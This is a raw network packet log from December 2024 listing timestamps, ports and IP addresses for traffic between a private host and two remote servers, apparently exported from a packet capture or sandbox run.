Dec 18, 2024 11:09:29.482955933 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.483022928 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.483051062 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.483059883 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.483103037 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.483103037 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.483428955 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.483478069 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.484371901 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.484406948 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.484447002 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.484447002 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.484673023 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.485241890 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.485378027 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.485428095 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.486538887 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.486551046 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.486602068 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.487382889 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.487395048 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.487430096 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.488606930 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.488619089 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.488629103 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.488676071 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.488676071 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.489537954 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.489586115 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.489597082 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.490736961 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.490746975 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.490757942 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.490776062 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.490776062 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.491331100 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.492516994 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.492527962 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.492539883 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.492582083 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.492582083 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.493541956 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.493551970 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.493562937 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.493613005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.493613005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.495371103 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.495417118 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.499448061 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.499479055 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.499504089 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.499589920 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.499711037 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.499747992 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.499758005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.499808073 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.501101971 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.501147985 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.501154900 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.501283884 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.502109051 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.502142906 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.502182961 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.502182961 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.502638102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.502722979 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.502767086 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.502767086 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.503582954 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.503628969 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.503700972 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.504616022 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.504702091 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.504735947 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.504772902 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.504772902 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.505634069 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.505669117 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.505687952 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.506501913 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.506515980 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.506577969 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.506629944 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.506709099 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.507544041 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.507653952 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.508644104 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.508677959 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.508713007 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.508718014 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.508718014 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.509344101 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.509407997 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.509547949 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.509581089 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.509779930 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.510418892 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.510489941 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.510546923 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.510608912 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.512150049 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.512185097 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.512221098 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.512221098 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.512386084 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.512485027 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.512552977 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.512707949 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.513541937 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.513552904 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.513590097 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.514373064 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.514413118 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.514446974 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.514446974 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.515372992 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.515419006 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.515731096 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.515784025 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.516315937 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.516364098 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.516443968 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.516617060 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.517384052 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.517396927 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.517426014 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.518198013 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.518240929 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.518991947 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.519036055 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.519368887 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.519381046 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.519475937 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.520499945 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.520512104 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.520729065 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.522290945 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.522301912 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.522313118 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.522335052 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.522488117 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.522521973 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.523335934 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.523364067 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.523375988 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.523802042 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.524257898 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.524271011 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.524614096 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.525360107 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.525372982 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.525507927 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.526055098 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.526101112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.526405096 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.526453018 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.527380943 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.527391911 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.527426004 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.528620958 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.528637886 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.528671980 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.529669046 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.529685020 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.529733896 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.529733896 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.530733109 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.530745029 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.530780077 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.531378031 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.531388998 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.531420946 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.532882929 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.532893896 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.532922029 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.532958031 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.532958031 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.533947945 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.533967972 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.533997059 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.534008980 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.534008980 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.534508944 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.535011053 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.535022020 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.535056114 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.536072016 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.536084890 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.536154032 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.537126064 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.537137985 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.537265062 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.538182020 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.538223982 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.578118086 CET	443	49913	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:29.578216076 CET	443	49913	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:29.578288078 CET	49913	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:29.578511953 CET	49913	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:29.578527927 CET	443	49913	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:29.590945005 CET	49929	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:29.590976000 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:29.591043949 CET	49929	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:29.591309071 CET	49929	443	192.168.2.6	104.21.23.76
Dec 18, 2024 11:09:29.591324091 CET	443	49929	104.21.23.76	192.168.2.6
Dec 18, 2024 11:09:29.675930977 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.675950050 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.675961971 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.675973892 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.675986052 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.676016092 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.676057100 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.676071882 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.676096916 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.676110983 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.676543951 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.676585913 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.676738977 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.676779985 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.677839041 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.677884102 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.678009987 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.678050995 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.678169966 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.678180933 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.678215981 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.678780079 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.678822994 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.678949118 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.678987980 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.679713011 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.679733992 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.679766893 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.679792881 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.680723906 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.680793047 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.680828094 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.680869102 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.681660891 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.681704044 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.681746006 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.681782961 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.682663918 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.682713985 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.682832003 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.682874918 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.683631897 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.683681965 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.683706999 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.683754921 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.684623957 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.684659958 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.684725046 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.684779882 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.685569048 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.685615063 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.685651064 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.685689926 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.690560102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.690618038 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.690660954 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.690709114 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.691032887 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.691075087 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.691116095 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.691158056 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.692152977 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.692190886 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.692256927 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.692296982 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.693017006 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.693062067 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.693133116 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.693167925 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.693990946 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.694031000 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.694045067 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.694086075 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.696480036 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.696522951 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.697485924 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.697529078 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.698384047 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.698394060 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.698405027 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.698415995 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.698425055 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.698463917 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.698733091 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.698776007 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.698842049 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.698879957 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.699812889 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.699853897 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.699960947 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.699996948 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.700812101 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.700855970 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.700953007 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.700987101 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.701837063 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.701848984 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.701884031 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.702723980 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.702769041 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.702883005 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.702919960 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.703705072 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.703716040 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.703749895 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.704780102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.704823971 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.704927921 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.704968929 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.705657005 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.705668926 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.705705881 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.706675053 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.706716061 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.706825972 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.706872940 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.707529068 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.707566977 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.707667112 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.707700968 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.708784103 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.708823919 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.708965063 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.709017992 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.709635973 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.709654093 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.709673882 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.709690094 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.710606098 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.710617065 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.710649014 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.710668087 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.711560965 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.711572886 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.711604118 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.712512970 CET	80	49912	31.41.244.11	192.168.2.6
